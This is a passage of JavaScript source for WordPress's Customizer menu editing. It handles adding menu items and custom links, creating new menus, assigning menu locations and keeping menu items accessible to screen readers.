); self.loading = false; }); }, // Adjust the height of each section of items to fit the screen. itemSectionHeight: function() { var sections, lists, totalHeight, accordionHeight, diff; totalHeight = window.innerHeight; sections = this.$el.find( '.accordion-section:not( #available-menu-items-search ) .accordion-section-content' ); lists = this.$el.find( '.accordion-section:not( #available-menu-items-search ) .available-menu-items-list:not(":only-child")' ); accordionHeight = 46 * ( 1 + sections.length ) + 14; // Magic numbers. diff = totalHeight - accordionHeight; if ( 120 < diff && 290 > diff ) { sections.css( 'max-height', diff ); lists.css( 'max-height', ( diff - 60 ) ); } }, // Highlights a menu item. select: function( menuitemTpl ) { this.selected = $( menuitemTpl ); this.selected.siblings( '.menu-item-tpl' ).removeClass( 'selected' ); this.selected.addClass( 'selected' ); }, // Highlights a menu item on focus. focus: function( event ) { this.select( $( event.currentTarget ) ); }, // Submit handler for keypress and click on menu item. _submit: function( event ) { // Only proceed with keypress if it is Enter or Spacebar. if ( 'keypress' === event.type && ( 13 !== event.which && 32 !== event.which ) ) { return; } this.submit( $( event.currentTarget ) ); }, // Adds a selected menu item to the menu. submit: function( menuitemTpl ) { var menuitemId, menu_item; if ( ! menuitemTpl ) { menuitemTpl = this.selected; } if ( ! menuitemTpl || ! this.currentMenuControl ) { return; } this.select( menuitemTpl ); menuitemId = $( this.selected ).data( 'menu-item-id' ); menu_item = this.collection.findWhere( { id: menuitemId } ); if ( ! menu_item ) { return; } // Leave the title as empty to reuse the original title as a placeholder if set. var nav_menu_item = Object.assign( {}, menu_item.attributes ); if ( nav_menu_item.title === nav_menu_item.original_title ) { nav_menu_item.title = ''; } this.currentMenuControl.addItemToMenu( nav_menu_item ); $( menuitemTpl ).find( '.menu-item-handle' ).addClass( 'item-added' ); }, // Submit handler for keypress and click on custom menu item. _submitLink: function( event ) { // Only proceed with keypress if it is Enter. if ( 'keypress' === event.type && 13 !== event.which ) { return; } this.submitLink(); }, // Adds the custom menu item to the menu. submitLink: function() { var menuItem, itemName = $( '#custom-menu-item-name' ), itemUrl = $( '#custom-menu-item-url' ), urlErrorMessage = $( '#custom-url-error' ), nameErrorMessage = $( '#custom-name-error' ), url = itemUrl.val().trim(), urlRegex, errorText; if ( ! this.currentMenuControl ) { return; } /* * Allow URLs including: * - http://example.com/ * - //example.com * - /directory/ * - ?query-param * - #target * - mailto:foo@example.com * * Any further validation will be handled on the server when the setting is attempted to be saved, * so this pattern does not need to be complete. */ urlRegex = /^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/; if ( ! urlRegex.test( url ) || '' === itemName.val() ) { if ( ! urlRegex.test( url ) ) { itemUrl.addClass( 'invalid' ) .attr( 'aria-invalid', 'true' ) .attr( 'aria-describedby', 'custom-url-error' ); urlErrorMessage.show(); errorText = urlErrorMessage.text(); // Announce error message via screen reader wp.a11y.speak( errorText, 'assertive' ); } if ( '' === itemName.val() ) { itemName.addClass( 'invalid' ) .attr( 'aria-invalid', 'true' ) .attr( 'aria-describedby', 'custom-name-error' ); nameErrorMessage.show(); errorText = ( '' === errorText ) ? nameErrorMessage.text() : errorText + nameErrorMessage.text(); // Announce error message via screen reader wp.a11y.speak( errorText, 'assertive' ); } return; } urlErrorMessage.hide(); nameErrorMessage.hide(); itemName.removeClass( 'invalid' ) .removeAttr( 'aria-invalid', 'true' ) .removeAttr( 'aria-describedby', 'custom-name-error' ); itemUrl.removeClass( 'invalid' ) .removeAttr( 'aria-invalid', 'true' ) .removeAttr( 'aria-describedby', 'custom-name-error' ); menuItem = { 'title': itemName.val(), 'url': url, 'type': 'custom', 'type_label': api.Menus.data.l10n.custom_label, 'object': 'custom' }; this.currentMenuControl.addItemToMenu( menuItem ); // Reset the custom link form. itemUrl.val( '' ).attr( 'placeholder', 'https://' ); itemName.val( '' ); }, /** * Submit handler for keypress (enter) on field and click on button. * * @since 4.7.0 * @private * * @param {jQuery.Event} event Event. * @return {void} */ _submitNew: function( event ) { var container; // Only proceed with keypress if it is Enter. if ( 'keypress' === event.type && 13 !== event.which ) { return; } if ( this.addingNew ) { return; } container = $( event.target ).closest( '.accordion-section' ); this.submitNew( container ); }, /** * Creates a new object and adds an associated menu item to the menu. * * @since 4.7.0 * @private * * @param {jQuery} container * @return {void} */ submitNew: function( container ) { var panel = this, itemName = container.find( '.create-item-input' ), title = itemName.val(), dataContainer = container.find( '.available-menu-items-list' ), itemType = dataContainer.data( 'type' ), itemObject = dataContainer.data( 'object' ), itemTypeLabel = dataContainer.data( 'type_label' ), inputError = container.find('.create-item-error'), promise; if ( ! this.currentMenuControl ) { return; } // Only posts are supported currently. if ( 'post_type' !== itemType ) { return; } if ( '' === itemName.val().trim() ) { container.addClass( 'form-invalid' ); itemName.attr('aria-invalid', 'true'); itemName.attr('aria-describedby', inputError.attr('id')); inputError.slideDown( 'fast' ); wp.a11y.speak( inputError.text() ); return; } else { container.removeClass( 'form-invalid' ); itemName.attr('aria-invalid', 'false'); itemName.removeAttr('aria-describedby'); inputError.hide(); container.find( '.accordion-section-title' ).addClass( 'loading' ); } panel.addingNew = true; itemName.attr( 'disabled', 'disabled' ); promise = api.Menus.insertAutoDraftPost( { post_title: title, post_type: itemObject } ); promise.done( function( data ) { var availableItem, $content, itemElement; availableItem = new api.Menus.AvailableItemModel( { 'id': 'post-' + data.post_id, // Used for available menu item Backbone models. 'title': itemName.val(), 'type': itemType, 'type_label': itemTypeLabel, 'object': itemObject, 'object_id': data.post_id, 'url': data.url } ); // Add new item to menu. panel.currentMenuControl.addItemToMenu( availableItem.attributes ); // Add the new item to the list of available items. api.Menus.availableMenuItemsPanel.collection.add( availableItem ); $content = container.find( '.available-menu-items-list' ); itemElement = $( wp.template( 'available-menu-item' )( availableItem.attributes ) ); itemElement.find( '.menu-item-handle:first' ).addClass( 'item-added' ); $content.prepend( itemElement ); $content.scrollTop(); // Reset the create content form. itemName.val( '' ).removeAttr( 'disabled' ); panel.addingNew = false; container.find( '.accordion-section-title' ).removeClass( 'loading' ); } ); }, // Opens the panel. open: function( menuControl ) { var panel = this, close; this.currentMenuControl = menuControl; this.itemSectionHeight(); if ( api.section.has( 'publish_settings' ) ) { api.section( 'publish_settings' ).collapse(); } $( 'body' ).addClass( 'adding-menu-items' ); close = function() { panel.close(); $( this ).off( 'click', close ); }; $( '#customize-preview' ).on( 'click', close ); // Collapse all controls. _( this.currentMenuControl.getMenuItemControls() ).each( function( control ) { control.collapseForm(); } ); this.$el.find( '.selected' ).removeClass( 'selected' ); this.$search.trigger( 'focus' ); }, // Closes the panel. close: function( options ) { options = options || {}; if ( options.returnFocus && this.currentMenuControl ) { this.currentMenuControl.container.find( '.add-new-menu-item' ).focus(); } this.currentMenuControl = null; this.selected = null; $( 'body' ).removeClass( 'adding-menu-items' ); $( '#available-menu-items .menu-item-handle.item-added' ).removeClass( 'item-added' ); this.$search.val( '' ).trigger( 'input' ); }, // Add a few keyboard enhancements to the panel. keyboardAccessible: function( event ) { var isEnter = ( 13 === event.which ), isEsc = ( 27 === event.which ), isBackTab = ( 9 === event.which && event.shiftKey ), isSearchFocused = $( event.target ).is( this.$search ); // If enter pressed but nothing entered, don't do anything. if ( isEnter && ! this.$search.val() ) { return; } if ( isSearchFocused && isBackTab ) { this.currentMenuControl.container.find( '.add-new-menu-item' ).focus(); event.preventDefault(); // Avoid additional back-tab. } else if ( isEsc ) { this.close( { returnFocus: true } ); } } }); /** * wp.customize.Menus.MenusPanel * * Customizer panel for menus. This is used only for screen options management. * Note that 'menus' must match the WP_Customize_Menu_Panel::$type. * * @class wp.customize.Menus.MenusPanel * @augments wp.customize.Panel */ api.Menus.MenusPanel = api.Panel.extend(/** @lends wp.customize.Menus.MenusPanel.prototype */{ attachEvents: function() { api.Panel.prototype.attachEvents.call( this ); var panel = this, panelMeta = panel.container.find( '.panel-meta' ), help = panelMeta.find( '.customize-help-toggle' ), content = panelMeta.find( '.customize-panel-description' ), options = $( '#screen-options-wrap' ), button = panelMeta.find( '.customize-screen-options-toggle' ); button.on( 'click keydown', function( event ) { if ( api.utils.isKeydownButNotEnterEvent( event ) ) { return; } event.preventDefault(); // Hide description. if ( content.not( ':hidden' ) ) { content.slideUp( 'fast' ); help.attr( 'aria-expanded', 'false' ); } if ( 'true' === button.attr( 'aria-expanded' ) ) { button.attr( 'aria-expanded', 'false' ); panelMeta.removeClass( 'open' ); panelMeta.removeClass( 'active-menu-screen-options' ); options.slideUp( 'fast' ); } else { button.attr( 'aria-expanded', 'true' ); panelMeta.addClass( 'open' ); panelMeta.addClass( 'active-menu-screen-options' ); options.slideDown( 'fast' ); } return false; } ); // Help toggle. help.on( 'click keydown', function( event ) { if ( api.utils.isKeydownButNotEnterEvent( event ) ) { return; } event.preventDefault(); if ( 'true' === button.attr( 'aria-expanded' ) ) { button.attr( 'aria-expanded', 'false' ); help.attr( 'aria-expanded', 'true' ); panelMeta.addClass( 'open' ); panelMeta.removeClass( 'active-menu-screen-options' ); options.slideUp( 'fast' ); content.slideDown( 'fast' ); } } ); }, /** * Update field visibility when clicking on the field toggles. */ ready: function() { var panel = this; panel.container.find( '.hide-column-tog' ).on( 'click', function() { panel.saveManageColumnsState(); }); // Inject additional heading into the menu locations section's head container. api.section( 'menu_locations', function( section ) { section.headContainer.prepend( wp.template( 'nav-menu-locations-header' )( api.Menus.data ) ); } ); }, /** * Save hidden column states. * * @since 4.3.0 * @private * * @return {void} */ saveManageColumnsState: _.debounce( function() { var panel = this; if ( panel._updateHiddenColumnsRequest ) { panel._updateHiddenColumnsRequest.abort(); } panel._updateHiddenColumnsRequest = wp.ajax.post( 'hidden-columns', { hidden: panel.hidden(), screenoptionnonce: $( '#screenoptionnonce' ).val(), page: 'nav-menus' } ); panel._updateHiddenColumnsRequest.always( function() { panel._updateHiddenColumnsRequest = null; } ); }, 2000 ), /** * @deprecated Since 4.7.0 now that the nav_menu sections are responsible for toggling the classes on their own containers. */ checked: function() {}, /** * @deprecated Since 4.7.0 now that the nav_menu sections are responsible for toggling the classes on their own containers. */ unchecked: function() {}, /** * Get hidden fields. * * @since 4.3.0 * @private * * @return {Array} Fields (columns) that are hidden. */ hidden: function() { return $( '.hide-column-tog' ).not( ':checked' ).map( function() { var id = this.id; return id.substring( 0, id.length - 5 ); }).get().join( ',' ); } } ); /** * wp.customize.Menus.MenuSection * * Customizer section for menus. This is used only for lazy-loading child controls. * Note that 'nav_menu' must match the WP_Customize_Menu_Section::$type. * * @class wp.customize.Menus.MenuSection * @augments wp.customize.Section */ api.Menus.MenuSection = api.Section.extend(/** @lends wp.customize.Menus.MenuSection.prototype */{ /** * Initialize. * * @since 4.3.0 * * @param {string} id * @param {Object} options */ initialize: function( id, options ) { var section = this; api.Section.prototype.initialize.call( section, id, options ); section.deferred.initSortables = $.Deferred(); }, /** * Ready. */ ready: function() { var section = this, fieldActiveToggles, handleFieldActiveToggle; if ( 'undefined' === typeof section.params.menu_id ) { throw new Error( 'params.menu_id was not defined' ); } /* * Since newly created sections won't be registered in PHP, we need to prevent the * preview's sending of the activeSections to result in this control * being deactivated when the preview refreshes. So we can hook onto * the setting that has the same ID and its presence can dictate * whether the section is active. */ section.active.validate = function() { if ( ! api.has( section.id ) ) { return false; } return !! api( section.id ).get(); }; section.populateControls(); section.navMenuLocationSettings = {}; section.assignedLocations = new api.Value( [] ); api.each(function( setting, id ) { var matches = id.match( /^nav_menu_locations\[(.+?)]/ ); if ( matches ) { section.navMenuLocationSettings[ matches[1] ] = setting; setting.bind( function() { section.refreshAssignedLocations(); }); } }); section.assignedLocations.bind(function( to ) { section.updateAssignedLocationsInSectionTitle( to ); }); section.refreshAssignedLocations(); api.bind( 'pane-contents-reflowed', function() { // Skip menus that have been removed. if ( ! section.contentContainer.parent().length ) { return; } section.container.find( '.menu-item .menu-item-reorder-nav button' ).attr({ 'tabindex': '0', 'aria-hidden': 'false' }); section.container.find( '.menu-item.move-up-disabled .menus-move-up' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' }); section.container.find( '.menu-item.move-down-disabled .menus-move-down' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' }); section.container.find( '.menu-item.move-left-disabled .menus-move-left' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' }); section.container.find( '.menu-item.move-right-disabled .menus-move-right' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' }); } ); /** * Update the active field class for the content container for a given checkbox toggle. * * @this {jQuery} * @return {void} */ handleFieldActiveToggle = function() { var className = 'field-' + $( this ).val() + '-active'; section.contentContainer.toggleClass( className, $( this ).prop( 'checked' ) ); }; fieldActiveToggles = api.panel( 'nav_menus' ).contentContainer.find( '.metabox-prefs:first' ).find( '.hide-column-tog' ); fieldActiveToggles.each( handleFieldActiveToggle ); fieldActiveToggles.on( 'click', handleFieldActiveToggle ); }, populateControls: function() { var section = this, menuNameControlId, menuLocationsControlId, menuAutoAddControlId, menuDeleteControlId, menuControl, menuNameControl, menuLocationsControl, menuAutoAddControl, menuDeleteControl; // Add the control for managing the menu name. menuNameControlId = section.id + '[name]'; menuNameControl = api.control( menuNameControlId ); if ( ! menuNameControl ) { menuNameControl = new api.controlConstructor.nav_menu_name( menuNameControlId, { type: 'nav_menu_name', label: api.Menus.data.l10n.menuNameLabel, section: section.id, priority: 0, settings: { 'default': section.id } } ); api.control.add( menuNameControl ); menuNameControl.active.set( true ); } // Add the menu control. menuControl = api.control( section.id ); if ( ! menuControl ) { menuControl = new api.controlConstructor.nav_menu( section.id, { type: 'nav_menu', section: section.id, priority: 998, settings: { 'default': section.id }, menu_id: section.params.menu_id } ); api.control.add( menuControl ); menuControl.active.set( true ); } // Add the menu locations control. menuLocationsControlId = section.id + '[locations]'; menuLocationsControl = api.control( menuLocationsControlId ); if ( ! menuLocationsControl ) { menuLocationsControl = new api.controlConstructor.nav_menu_locations( menuLocationsControlId, { section: section.id, priority: 999, settings: { 'default': section.id }, menu_id: section.params.menu_id } ); api.control.add( menuLocationsControl.id, menuLocationsControl ); menuControl.active.set( true ); } // Add the control for managing the menu auto_add. menuAutoAddControlId = section.id + '[auto_add]'; menuAutoAddControl = api.control( menuAutoAddControlId ); if ( ! menuAutoAddControl ) { menuAutoAddControl = new api.controlConstructor.nav_menu_auto_add( menuAutoAddControlId, { type: 'nav_menu_auto_add', label: '', section: section.id, priority: 1000, settings: { 'default': section.id } } ); api.control.add( menuAutoAddControl ); menuAutoAddControl.active.set( true ); } // Add the control for deleting the menu. menuDeleteControlId = section.id + '[delete]'; menuDeleteControl = api.control( menuDeleteControlId ); if ( ! menuDeleteControl ) { menuDeleteControl = new api.Control( menuDeleteControlId, { section: section.id, priority: 1001, templateId: 'nav-menu-delete-button' } ); api.control.add( menuDeleteControl.id, menuDeleteControl ); menuDeleteControl.active.set( true ); menuDeleteControl.deferred.embedded.done( function () { menuDeleteControl.container.find( 'button' ).on( 'click', function() { var menuId = section.params.menu_id; var menuControl = api.Menus.getMenuControl( menuId ); menuControl.setting.set( false ); }); } ); } }, /** * */ refreshAssignedLocations: function() { var section = this, menuTermId = section.params.menu_id, currentAssignedLocations = []; _.each( section.navMenuLocationSettings, function( setting, themeLocation ) { if ( setting() === menuTermId ) { currentAssignedLocations.push( themeLocation ); } }); section.assignedLocations.set( currentAssignedLocations ); }, /** * @param {Array} themeLocationSlugs Theme location slugs. */ updateAssignedLocationsInSectionTitle: function( themeLocationSlugs ) { var section = this, $title; $title = section.container.find( '.accordion-section-title button:first' ); $title.find( '.menu-in-location' ).remove(); _.each( themeLocationSlugs, function( themeLocationSlug ) { var $label, locationName; $label = $( '<span class="menu-in-location"></span>' ); locationName = api.Menus.data.locationSlugMappedToName[ themeLocationSlug ]; $label.text( api.Menus.data.l10n.menuLocation.replace( '%s', locationName ) ); $title.append( $label ); }); section.container.toggleClass( 'assigned-to-menu-location', 0 !== themeLocationSlugs.length ); }, onChangeExpanded: function( expanded, args ) { var section = this, completeCallback; if ( expanded ) { wpNavMenu.menuList = section.contentContainer; wpNavMenu.targetList = wpNavMenu.menuList; // Add attributes needed by wpNavMenu. $( '#menu-to-edit' ).removeAttr( 'id' ); wpNavMenu.menuList.attr( 'id', 'menu-to-edit' ).addClass( 'menu' ); api.Menus.MenuItemControl.prototype.initAccessibility(); _.each( api.section( section.id ).controls(), function( control ) { if ( 'nav_menu_item' === control.params.type ) { control.actuallyEmbed(); } } ); // Make sure Sortables is initialized after the section has been expanded to prevent `offset` issues. if ( args.completeCallback ) { completeCallback = args.completeCallback; } args.completeCallback = function() { if ( 'resolved' !== section.deferred.initSortables.state() ) { wpNavMenu.initSortables(); // Depends on menu-to-edit ID being set above. section.deferred.initSortables.resolve( wpNavMenu.menuList ); // Now MenuControl can extend the sortable. // @todo Note that wp.customize.reflowPaneContents() is debounced, // so this immediate change will show a slight flicker while priorities get updated. api.control( 'nav_menu[' + String( section.params.menu_id ) + ']' ).reflowMenuItems(); } if ( _.isFunction( completeCallback ) ) { completeCallback(); } }; } api.Section.prototype.onChangeExpanded.call( section, expanded, args ); }, /** * Highlight how a user may create new menu items. * * This method reminds the user to create new menu items and how. * It's exposed this way because this class knows best which UI needs * highlighted but those expanding this section know more about why and * when the affordance should be highlighted. * * @since 4.9.0 * * @return {void} */ highlightNewItemButton: function() { api.utils.highlightButton( this.contentContainer.find( '.add-new-menu-item' ), { delay: 2000 } ); } }); /** * Create a nav menu setting and section. * * @since 4.9.0 * * @param {string} [name=''] Nav menu name. * @return {wp.customize.Menus.MenuSection} Added nav menu. */ api.Menus.createNavMenu = function createNavMenu( name ) { var customizeId, placeholderId, setting; placeholderId = api.Menus.generatePlaceholderAutoIncrementId(); customizeId = 'nav_menu[' + String( placeholderId ) + ']'; // Register the menu control setting. setting = api.create( customizeId, customizeId, {}, { type: 'nav_menu', transport: api.Menus.data.settingTransport, previewer: api.previewer } ); setting.set( $.extend( {}, api.Menus.data.defaultSettingValues.nav_menu, { name: name || '' } ) ); /* * Add the menu section (and its controls). * Note that this will automatically create the required controls * inside via the Section's ready method. */ return api.section.add( new api.Menus.MenuSection( customizeId, { panel: 'nav_menus', title: displayNavMenuName( name ), customizeAction: api.Menus.data.l10n.customizingMenus, priority: 10, menu_id: placeholderId } ) ); }; /** * wp.customize.Menus.NewMenuSection * * Customizer section for new menus. * * @class wp.customize.Menus.NewMenuSection * @augments wp.customize.Section */ api.Menus.NewMenuSection = api.Section.extend(/** @lends wp.customize.Menus.NewMenuSection.prototype */{ /** * Add behaviors for the accordion section. * * @since 4.3.0 */ attachEvents: function() { var section = this, container = section.container, contentContainer = section.contentContainer, navMenuSettingPattern = /^nav_menu\[/; section.headContainer.find( '.accordion-section-title' ).replaceWith( wp.template( 'nav-menu-create-menu-section-title' ) ); /* * We have to manually handle section expanded because we do not * apply the `accordion-section-title` class to this button-driven section. */ container.on( 'click', '.customize-add-menu-button', function() { section.expand(); }); contentContainer.on( 'keydown', '.menu-name-field', function( event ) { if ( 13 === event.which ) { // Enter. section.submit(); } } ); contentContainer.on( 'click', '#customize-new-menu-submit', function( event ) { section.submit(); event.stopPropagation(); event.preventDefault(); } ); /** * Get number of non-deleted nav menus. * * @since 4.9.0 * @return {number} Count. */ function getNavMenuCount() { var count = 0; api.each( function( setting ) { if ( navMenuSettingPattern.test( setting.id ) && false !== setting.get() ) { count += 1; } } ); return count; } /** * Update visibility of notice to prompt users to create menus. * * @since 4.9.0 * @return {void} */ function updateNoticeVisibility() { container.find( '.add-new-menu-notice' ).prop( 'hidden', getNavMenuCount() > 0 ); } /** * Handle setting addition. * * @since 4.9.0 * @param {wp.customize.Setting} setting - Added setting. * @return {void} */ function addChangeEventListener( setting ) { if ( navMenuSettingPattern.test( setting.id ) ) { setting.bind( updateNoticeVisibility ); updateNoticeVisibility(); } } /** * Handle setting removal. * * @since 4.9.0 * @param {wp.customize.Setting} setting - Removed setting. * @return {void} */ function removeChangeEventListener( setting ) { if ( navMenuSettingPattern.test( setting.id ) ) { setting.unbind( updateNoticeVisibility ); updateNoticeVisibility(); } } api.each( addChangeEventListener ); api.bind( 'add', addChangeEventListener ); api.bind( 'removed', removeChangeEventListener ); updateNoticeVisibility(); api.Section.prototype.attachEvents.apply( section, arguments ); }, /** * Set up the control. * * @since 4.9.0 */ ready: function() { this.populateControls(); }, /** * Create the controls for this section. * * @since 4.9.0 */ populateControls: function() { var section = this, menuNameControlId, menuLocationsControlId, newMenuSubmitControlId, menuNameControl, menuLocationsControl, newMenuSubmitControl; menuNameControlId = section.id + '[name]'; menuNameControl = api.control( menuNameControlId ); if ( ! menuNameControl ) { menuNameControl = new api.controlConstructor.nav_menu_name( menuNameControlId, { label: api.Menus.data.l10n.menuNameLabel, description: api.Menus.data.l10n.newMenuNameDescription, section: section.id, priority: 0 } ); api.control.add( menuNameControl.id, menuNameControl ); menuNameControl.active.set( true ); } menuLocationsControlId = section.id + '[locations]'; menuLocationsControl = api.control( menuLocationsControlId ); if ( ! menuLocationsControl ) { menuLocationsControl = new api.controlConstructor.nav_menu_locations( menuLocationsControlId, { section: section.id, priority: 1, menu_id: '', isCreating: true } ); api.control.add( menuLocationsControlId, menuLocationsControl ); menuLocationsControl.active.set( true ); } newMenuSubmitControlId = section.id + '[submit]'; newMenuSubmitControl = api.control( newMenuSubmitControlId ); if ( !newMenuSubmitControl ) { newMenuSubmitControl = new api.Control( newMenuSubmitControlId, { section: section.id, priority: 1, templateId: 'nav-menu-submit-new-button' } ); api.control.add( newMenuSubmitControlId, newMenuSubmitControl ); newMenuSubmitControl.active.set( true ); } }, /** * Create the new menu with name and location supplied by the user. * * @since 4.9.0 */ submit: function() { var section = this, contentContainer = section.contentContainer, nameInput = contentContainer.find( '.menu-name-field' ).first(), name = nameInput.val(), menuSection; if ( ! name ) { nameInput.addClass( 'invalid' ); nameInput.focus(); return; } menuSection = api.Menus.createNavMenu( name ); // Clear name field. nameInput.val( '' ); nameInput.removeClass( 'invalid' ); contentContainer.find( '.assigned-menu-location input[type=checkbox]' ).each( function() { var checkbox = $( this ), navMenuLocationSetting; if ( checkbox.prop( 'checked' ) ) { navMenuLocationSetting = api( 'nav_menu_locations[' + checkbox.data( 'location-id' ) + ']' ); navMenuLocationSetting.set( menuSection.params.menu_id ); // Reset state for next new menu. checkbox.prop( 'checked', false ); } } ); wp.a11y.speak( api.Menus.data.l10n.menuAdded ); // Focus on the new menu section. menuSection.focus( { completeCallback: function() { menuSection.highlightNewItemButton(); } } ); }, /** * Select a default location. * * This method selects a single location by default so we can support * creating a menu for a specific menu location. * * @since 4.9.0 * * @param {string|null} locationId - The ID of the location to select. `null` clears all selections. * @return {void} */ selectDefaultLocation: function( locationId ) { var locationControl = api.control( this.id + '[locations]' ), locationSelections = {}; if ( locationId !== null ) { locationSelections[ locationId ] = true; } locationControl.setSelections( locationSelections ); } }); /** * wp.customize.Menus.MenuLocationControl * * Customizer control for menu locations (rendered as a <select>). * Note that 'nav_menu_location' must match the WP_Customize_Nav_Menu_Location_Control::$type. * * @class wp.customize.Menus.MenuLocationControl * @augments wp.customize.Control */ api.Menus.MenuLocationControl = api.Control.extend(/** @lends wp.customize.Menus.MenuLocationControl.prototype */{ initialize: function( id, options ) { var control = this, matches = id.match( /^nav_menu_locations\[(.+?)]/ ); control.themeLocation = matches[1]; api.Control.prototype.initialize.call( control, id, options ); }, ready: function() { var control = this, navMenuIdRegex = /^nav_menu\[(-?\d+)]/; // @todo It would be better if this was added directly on the setting itself, as opposed to the control. control.setting.validate = function( value ) { if ( '' === value ) { return 0; } else { return parseInt( value, 10 ); } }; // Create and Edit menu buttons. control.container.find( '.create-menu' ).on( 'click', function() { var addMenuSection = api.section( 'add_menu' ); addMenuSection.selectDefaultLocation( this.dataset.locationId ); addMenuSection.focus(); } ); control.container.find( '.edit-menu' ).on( 'click', function() { var menuId = control.setting(); api.section( 'nav_menu[' + menuId + ']' ).focus(); }); control.setting.bind( 'change', function() { var menuIsSelected = 0 !== control.setting(); control.container.find( '.create-menu' ).toggleClass( 'hidden', menuIsSelected ); control.container.find( '.edit-menu' ).toggleClass( 'hidden', ! menuIsSelected ); }); // Add/remove menus from the available options when they are added and removed. api.bind( 'add', function( setting ) { var option, menuId, matches = setting.id.match( navMenuIdRegex ); if ( ! matches || false === setting() ) { return; } menuId = matches[1]; option = new Option( displayNavMenuName( setting().name ), menuId ); control.container.find( 'select' ).append( option ); }); api.bind( 'remove', function( setting ) { var menuId, matches = setting.id.match( navMenuIdRegex ); if ( ! matches ) { return; } menuId = parseInt( matches[1], 10 ); if ( control.setting() === menuId ) { control.setting.set( '' ); } control.container.find( 'option[value=' + menuId + ']' ).remove(); }); api.bind( 'change', function( setting ) { var menuId, matches = setting.id.match( navMenuIdRegex ); if ( ! matches ) { return; } menuId = parseInt( matches[1], 10 ); if ( false === setting() ) { if ( control.setting() === menuId ) { control.setting.set( '' ); } control.container.find( 'option[value=' + menuId + ']' ).remove(); } else { control.container.find( 'option[value=' + menuId + ']' ).text( displayNavMenuName( setting().name ) ); } }); } }); api.Menus.MenuItemControl = api.Control.extend(/** @lends wp.customize.Menus.MenuItemControl.prototype */{ /** * wp.customize.Menus.MenuItemControl * * Customizer control for menu items. * Note that 'menu_item' must match the WP_Customize_Menu_Item_Control::$type. * * @constructs wp.customize.Menus.MenuItemControl * @augments wp.customize.Control * * @inheritDoc */ initialize: function( id, options ) { var control = this; control.expanded = new api.Value( false ); control.expandedArgumentsQueue = []; control.expanded.bind( function( expanded ) { var args = control.expandedArgumentsQueue.shift(); args = $.extend( {}, control.defaultExpandedArguments, args ); control.onChangeExpanded( expanded, args ); }); api.Control.prototype.initialize.call( control, id, options ); control.active.validate = function() { var value, section = api.section( control.section() ); if ( section ) { value = section.active(); } else { value = false; } return value; }; }, /** * Set up the initial state of the screen reader accessibility information for menu items. * * @since 6.6.0 */ initAccessibility: function() { var control = this, menu = $( '#menu-to-edit' ); // Refresh the accessibility when the user comes close to the item in any way. menu.on( 'mouseenter.refreshAccessibility focus.refreshAccessibility touchstart.refreshAccessibility', '.menu-item', function(){ control.refreshAdvancedAccessibilityOfItem( $( this ).find( 'button.item-edit' ) ); } ); // We have to update on click as well because we might hover first, change the item, and then click. menu.on( 'click', 'button.item-edit', function() { control.refreshAdvancedAccessibilityOfItem( $( this ) ); } ); }, /** * refreshAdvancedAccessibilityOfItem( [itemToRefresh] ) * * Refreshes advanced accessibility buttons for one menu item. * Shows or hides buttons based on the location of the menu item. * * @param {Object} itemToRefresh The menu item that might need its advanced accessibility buttons refreshed * * @since 6.6.0 */ refreshAdvancedAccessibilityOfItem: function( itemToRefresh ) { // Only refresh accessibility when necessary. if ( true !== $( itemToRefresh ).data( 'needs_accessibility_refresh' ) ) { return; } var primaryItems, itemPosition, title, parentItem, parentItemId, parentItemName, subItems, totalSubItems, $this = $( itemToRefresh ), menuItem = $this.closest( 'li.menu-item' ).first(), depth = menuItem.menuItemDepth(), isPrimaryMenuItem = ( 0 === depth ), itemName = $this.closest( '.menu-item-handle' ).find( '.menu-item-title' ).text(), menuItemType = $this.closest( '.menu-item-handle' ).find( '.item-type' ).text(), totalMenuItems = $( '#menu-to-edit li' ).length; if ( isPrimaryMenuItem ) { primaryItems = $( '.menu-item-depth-0' ), itemPosition = primaryItems.index( menuItem ) + 1, totalMenuItems = primaryItems.length, // String together help text for primary menu items. title = menus.menuFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalMenuItems ); } else { parentItem = menuItem.prevAll( '.menu-item-depth-' + parseInt( depth - 1, 10 ) ).first(), parentItemId = parentItem.find( '.menu-item-data-db-id' ).val(), parentItemName = parentItem.find( '.menu-item-title' ).text(), subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemId + '"]' ), totalSubItems = subItems.length, itemPosition = $( subItems.parents( '.menu-item' ).get().reverse() ).index( menuItem ) + 1; // String together help text for sub menu items. if ( depth < 2 ) { title = menus.subMenuFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalSubItems ).replace( '%5$s', parentItemName ); } else { title = menus.subMenuMoreDepthFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalSubItems ).replace( '%5$s', parentItemName ).replace( '%6$d', depth ); } } $this.find( '.screen-reader-text' ).text( title ); // Mark this item's accessibility as refreshed. $this.data( 'needs_accessibility_refresh', false ); }, /** * Override the embed() method to do nothing, * so that the control isn't embedded on load, * unless the containing section is already expanded. * * @since 4.3.0 */ embed: function() { var control = this, sectionId = control.section(), section; if ( ! sectionId ) { return; } section = api.section( sectionId ); if ( ( section && section.expanded() ) || api.settings.autofocus.control === control.id ) { control.actuallyEmbed(); } }, /** * This function is called in Section.onChangeExpanded() so the control * will only get embedded when the Section is first expanded. * * @since 4.3.0 */ actuallyEmbed: function() { var control = this; if ( 'resolved' === control.deferred.embedded.state() ) { return; } control.renderContent(); control.deferred.embedded.resolve(); // This triggers control.ready(). // Mark all menu items as unprocessed. $( 'button.item-edit' ).data( 'needs_accessibility_refresh', true ); }, /** * Set up the control. */ ready: function() { if ( 'undefined' === typeof this.params.menu_item_id ) { throw new Error( 'params.menu_item_id was not defined' ); } this._setupControlToggle(); this._setupReorderUI(); this._setupUpdateUI(); this._setupRemoveUI(); this._setupLinksUI(); this._setupTitleUI(); }, /** * Show/hide the settings when clicking on the menu item handle. */ _setupControlToggle: function() { var control = this; this.container.find( '.menu-item-handle' ).on( 'click', function( e ) { e.preventDefault(); e.stopPropagation(); var menuControl = control.getMenuControl(), isDeleteBtn = $( e.target ).is( '.item-delete, .item-delete *' ), isAddNewBtn = $( e.target ).is( '.add-new-menu-item, .add-new-menu-item *' ); if ( $( 'body' 